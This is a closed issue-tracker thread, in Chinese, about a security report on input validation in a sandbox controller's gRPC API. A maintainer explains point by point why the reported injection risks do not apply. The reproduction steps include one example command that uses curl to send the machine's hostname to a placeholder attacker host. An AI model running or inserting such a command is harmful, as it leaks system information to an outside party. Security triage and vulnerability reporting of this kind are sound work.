已关闭
【gRPC 安全】Controller gRPC 参数仅做非空校验,存在注入攻击风险 #6
ZYH-ang创建于  9月9日关闭于  24 天前
ZYH-ang
ZYH-ang成员
9月9日 创建

环境信息/ Environment

  • FluxSandbox Controller(gRPC 9091 端口)

问题简述/ Brief Description

Controller gRPC 接口对入参(sandboxId、labels、entrypoint、args、label_selector 等)仅做非空校验后即透传至 K8s CR Name、Label Selector、容器 Command/Args 等高危位置,未做长度、字符、换行符等校验,存在日志注入、K8s API 拒绝、容器命令注入等安全风险。

问题详情&复现步骤 / Details & Reproduction Steps

  1. sandboxId 传入特殊字符(引号、分号等)→ 透传至 K8s CR 名称,由 API Server 后置拒绝。
  2. sandboxId 传入换行符 → 写入日志时换行,可伪造日志条目(日志注入)。
  3. sandboxId 传入超长字符串(1000+ 字符)→ 无长度上限校验,直接透传。
  4. PatchSandbox 的 labels key/value 传入特殊字符或换行符 → 直接写入 Sandbox CR labels,无字符白名单。
  5. ListSandboxes 的 label_selector 传入异常字符 → 直接用于 K8s label 查询,无前置过滤。
  6. entrypoint / args 传入危险命令模式(如 sh -c "curl http://attacker/$(hostname)")→ 直接写入容器 Command/Args 字段,无黑名单。

期望结果/ Expected Results

gRPC 入参应在 Controller 层做严格校验:长度、字符白名单、换行符、危险命令模式等。非法输入在进入业务逻辑前被前置拒绝;含换行符的输入不应造成日志注入。

实际结果/Actual Results

  • 任意特殊字符、换行符、超长字符串、危险命令模式均可透传至高危位置。
  • 含换行符的输入可造成日志注入。
  • gRPC 接口无前置参数校验,存在安全验证盲区。
likedislike
ZYH-angZYH-ang成员
9月9日 issue优先级由 无优先级 改变为 次要
ZYH-angZYH-ang成员
9月9日 关联了看板:openFuyao - v26.09问题单
ZYH-angZYH-ang成员
9月9日 关联了里程碑:v26.09
zjw6zjw6成员
25 天前 将 zjw6 设为负责人
zjw6
zjw6成员
24 天前 评论:

1、gRPC 层只做非空校验(sandbox_provider.go:106),Scheduler 直接拿 sandboxId 当 CR 名(sandbox_controller.go:597 注释就是 "CR name is the sandboxID"),还写进 label sandbox.flux.io/sandbox-id。非法字符/超 253 字符的名字和超 63 字符的 label 值都会被 API Server 拒绝——不存在注入

2、 换行符日志注入:不成立
Controller 和 Scheduler 的全部日志都走 slog.NewJSONHandler(cmd/flux-sandbox-controller/main.go:84、cmd/flux-sandbox-scheduler/main.go:67),JSON handler 会把换行等控制字符转义成 \n 字面量,无法伪造日志行

3、 labels 特殊字符直接写 CR:透传属实,无注入面
K8s API Server 对 metadata.labels 有强制校验(key 格式、value ≤63 字符、字符集),labels 又是结构化 map 而非字符串拼接,注入不成立

4、label_selector 异常字符:基本不成立
client.MatchingLabels/HasLabels 是结构化 selector,不是字符串拼进查询的;非法值由 API Server 返回 400,HasLabels 路径还是内存过滤。最多是错误信息不够友好,无安全影响。

5、entrypoint/args 危险命令:设计使然,不是漏洞
5.1、容器 Command/Args 是 argv 直传(execve),不经 shell。(hostname)会保持字面量。containerd路径用oci.WithProcessArgs(containerd.go:513),allocator里那处/bin/sh−c是固定init容器命令,无用户输入。5.2、bootstrap.sh只在第一个参数显式为−c时才sh−c"(hostname) 会保持字面量。containerd 路径用 oci.WithProcessArgs(containerd.go:513),allocator 里那处 /bin/sh -c 是固定 init 容器命令,无用户输入。 5.2、bootstrap.sh 只在第一个参数显式为 -c 时才 sh -c "*"(bootstrap.sh:209-227)——这是 opensandbox 上游文档化的特性(允许 cmd1 && cmd2),不是被注入出来的。
5.3、沙箱产品的语义就是“用户在自己的沙箱里运行自己选的代码”,调用者创建的是自己的沙箱,不存在跨信任边界。opensandbox 上游同样零过滤直写容器 Command,且 OSEP-0004 明文:"OpenSandbox is designed to execute untrusted code",缓解手段是 gVisor/Kata/Firecracker 等 secure runtime 加 egress 网络策略,不是命令黑白名单。给 Command/Args 加黑名单反而会破坏兼容性(合法场景如 -c)

likedislike
ZYH-angZYH-ang成员
24 天前 issue状态由 开启 改变为 非问题
ZYH-angZYH-ang成员
24 天前 关闭了 issue